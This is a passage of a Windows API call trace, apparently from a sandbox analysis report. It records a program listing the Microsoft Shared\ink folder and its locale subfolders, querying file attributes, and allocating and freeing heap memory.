cAlternateFileName="")) returned 0 [0045.512] GetLastError () returned 0x12 [0045.512] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0045.512] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0045.512] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.512] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0045.512] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0045.512] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0045.513] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0045.513] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9de690, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9de690, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0045.513] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9de690) returned 1 [0045.513] NtClose (Handle=0x160) returned 0x0 [0045.513] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0045.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0045.513] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0045.514] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.514] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0045.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0045.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de4e8 [0045.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9de6a8 [0045.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.514] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.514] GetLastError () returned 0x12 [0045.514] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0045.514] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0045.514] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.514] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.514] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.514] GetLastError () returned 0x12 [0045.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0045.514] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0045.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0045.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.514] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0045.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.515] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0045.515] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0045.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e0690 [0045.515] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e0690, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e0690, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0045.515] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e0690) returned 1 [0045.515] NtClose (Handle=0x164) returned 0x0 [0045.515] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0045.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.515] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0045.515] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.515] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0045.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0045.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0045.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0045.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0045.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0045.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0045.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de508 [0045.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9de7b0 [0045.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0045.516] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.516] GetLastError () returned 0x12 [0045.516] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0045.516] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0045.516] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.516] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.516] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.516] GetLastError () returned 0x12 [0045.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.516] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0045.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0045.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.516] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0045.516] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0045.516] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0045.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.516] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0045.517] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0045.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e0690 [0045.517] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e0690, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e0690, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0045.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e0690) returned 1 [0045.517] NtClose (Handle=0x160) returned 0x0 [0045.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0045.517] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0045.517] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.517] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0045.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0045.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0045.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0045.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0045.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0045.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de528 [0045.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9de8b8 [0045.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0045.518] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.518] GetLastError () returned 0x12 [0045.518] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0045.518] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0045.518] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.518] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.518] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.518] GetLastError () returned 0x12 [0045.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0045.518] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0045.518] 